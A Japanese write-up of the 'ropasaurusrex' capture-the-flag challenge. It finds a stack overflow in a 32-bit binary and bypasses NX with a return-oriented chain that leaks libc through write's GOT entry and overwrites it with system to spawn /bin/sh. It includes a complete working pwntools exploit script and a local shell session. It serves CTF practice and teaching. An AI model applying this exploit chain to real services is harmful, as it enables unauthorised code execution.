pwnbaby easy ropasaurusrex
下調べ
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ file ropasaurusrex | sed -e "s/,/\n/g" ropasaurusrex: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.18 BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ checksec.sh --file ropasaurusrex RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ropasaurusrex
NX有効.
解析
プログラムを起動すると入力待ちになる.大量に文字を入力してみるとプログラムが落ちる.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ./ropasaurusrex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
デバッガで追ってみるとread関数でバッファーオーバーフローが起きることがわかった.0x100文字分入力が可能だが,入力を格納する領域0xffffd084+0x8Cの位置にリターンアドレスが格納されているため,
0x8c(140)を超えて入力してしまうとリターンアドレスが上書きされてしまう.
[----------------------------------registers-----------------------------------] EAX: 0xffffd090 --> 0x0 EBX: 0x0 ECX: 0xb5cd6f5c EDX: 0xffffd164 --> 0x0 ESI: 0xf7fb9000 --> 0x1afdb0 EDI: 0xf7fb9000 --> 0x1afdb0 EBP: 0xffffd118 --> 0xffffd138 --> 0x0 ESP: 0xffffd080 --> 0x0 EIP: 0x8048416 (call 0x804832c <read@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048405: lea eax,[ebp-0x88] 0x804840b: mov DWORD PTR [esp+0x4],eax 0x804840f: mov DWORD PTR [esp],0x0 => 0x8048416: call 0x804832c <read@plt> 0x804841b: leave 0x804841c: ret 0x804841d: push ebp 0x804841e: mov ebp,esp Guessed arguments: arg[0]: 0x0 arg[1]: 0xffffd090 --> 0x0 arg[2]: 0x100 [------------------------------------stack-------------------------------------] 0000| 0xffffd080 --> 0x0 0004| 0xffffd084 --> 0xffffd090 --> 0x0 0008| 0xffffd088 --> 0x100 0012| 0xffffd08c --> 0x1 0016| 0xffffd090 --> 0x0 0020| 0xffffd094 --> 0x1 0024| 0xffffd098 --> 0xf7ffd918 --> 0x0 0028| 0xffffd09c --> 0xf0b2ff [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048416 in ?? ()
ということでリターンアドレスは奪えたので後はどうにかしてシェルを起動してやれば良い.
Exploit
NXが有効になっておりシェルコードを積んでも実行出来ないので,libc内のsystem関数を呼び出してあげることにする.
プログラムではreadとwrite関数が利用されているのでこの2つを利用してアドレスのリークと書き換えを行う.
方針としては
1. write関数を用いてlibc内の関数をどれでもよいのでリーク
2. リークしたアドレスからlibc_baseのアドレスを計算.libc内のsystem関数のアドレスを計算.
3. read関数でGOT領域の関数をsystemに書き換え + 文字列/bin/shをどこかに格納
4. system関数に書き換えたGOT領域の関数を呼び出しシェルを起動.
ということで,必要なアドレスを集める.
リークするアドレスの関数はwrite関数にしたので(read関数とかでもよい),write_offset値,system_offset値を調べる.
ただし,実際はリモート環境で利用されているlibcを調べる必要がある.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ ldd ropasaurusrex | grep libc libc.so.6 => /lib32/libc.so.6 (0xf7589000) mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep write 0011ee00 T _IO_do_write 000694d0 T _IO_do_write 0011e830 T _IO_file_write 00068460 T _IO_file_write 0005e210 T _IO_fwrite 00063880 T _IO_wdo_write 000d2780 T __libc_pwrite 000d28d0 W __pwrite64 000d43c0 W __write 000e5770 T eventfd_write 0005e210 W fwrite 000673c0 T fwrite_unlocked 000e62b0 T process_vm_writev 000d2780 W pwrite 000d28d0 W pwrite64 000dd880 T pwritev 000dd940 T pwritev64 000d43c0 W write 000dd6b0 W writev mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ nm -D /lib32/libc.so.6 | grep system 0003a940 T __libc_system 00110840 T svcerr_systemerr 0003a940 W system
ropで関数呼び出しを継続するときに,スタック内のread関数とwrite関数の引数(いずれも引数は3つ)が邪魔なので,この引数を取り除くためのpop3retをrp++を利用して調べる.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ rp -f ropasaurusrex -r 3 --unique | grep pop 0x080483c1: add al, 0x5B ; pop ebp ; ret ; (2 found) 0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret ; (2 found) 0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret ; (1 found) 0x080483c0: les eax, [ebx+ebx*2] ; pop ebp ; ret ; (2 found) 0x08048451: mov ebp, esp ; pop ebp ; ret ; (1 found) 0x080482e8: pop eax ; pop ebx ; leave ; ret ; (1 found) 0x080483c3: pop ebp ; ret ; (4 found) 0x080482e9: pop ebx ; leave ; ret ; (2 found) 0x080483c2: pop ebx ; pop ebp ; ret ; (2 found) 0x08048504: pop ecx ; pop ebx ; leave ; ret ; (1 found) 0x080484b7: pop edi ; pop ebp ; ret ; (1 found) 0x080484b6: pop esi ; pop edi ; pop ebp ; ret ; (1 found) # これを利用する 0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret ; (1 found) 0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax, [ebx+ebx*2] ; pop ebp ; ret ; (1 found)
あとはExploit書くだけ.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * #context.log_level = 'debug' conn = process('./ropasaurusrex') elf = ELF('./ropasaurusrex') write_plt_addr = elf.plt['write'] read_plt_addr = elf.plt['read'] write_got_addr = elf.got['write'] write_offset = 0x000d43c0 system_offset = 0x0003a940 binsh_offset = 0x15902b pop3ret = 0x080484b6 # write(1,write_got_addr,4) payload = "A" * 140 payload += p32(write_plt_addr) payload += p32(pop3ret) payload += p32(1) payload += p32(write_got_addr) payload += p32(4) # read(0,write_got_addr,12) payload += p32(read_plt_addr) payload += p32(pop3ret) payload += p32(0) payload += p32(write_got_addr) payload += p32(12) # system(/bin/sh) payload += p32(write_plt_addr) payload += "AAAA" payload += p32(write_got_addr + 4) # conn.send()で送るp32(system_addr)は4byteだから文字列"/bin/sh"の位置にずらす payload += "\n" conn.send(payload) # culcurate libc libc_write_addr = u32(conn.recv()) libc_base_addr = libc_write_addr - write_offset system_addr = libc_base_addr + system_offset conn.send(p32(system_addr) + b'/bin/sh\0') conn.interactive()
結果
とりあえずローカル環境.リモート環境でやりたいときはsocatとか使う.
mattun-mart@4ctf:~/Workspace/pwn/easy/ropasaurusrex$ python exploit.py [+] Starting local process './ropasaurusrex': pid 26166 [*] '/home/mattun-mart/Workspace/pwn/easy/ropasaurusrex/ropasaurusrex' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Switching to interactive mode $ ls core libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a ropasaurusrex dump peda-session-dash.txt exploit.py peda-session-ropasaurusrex.txt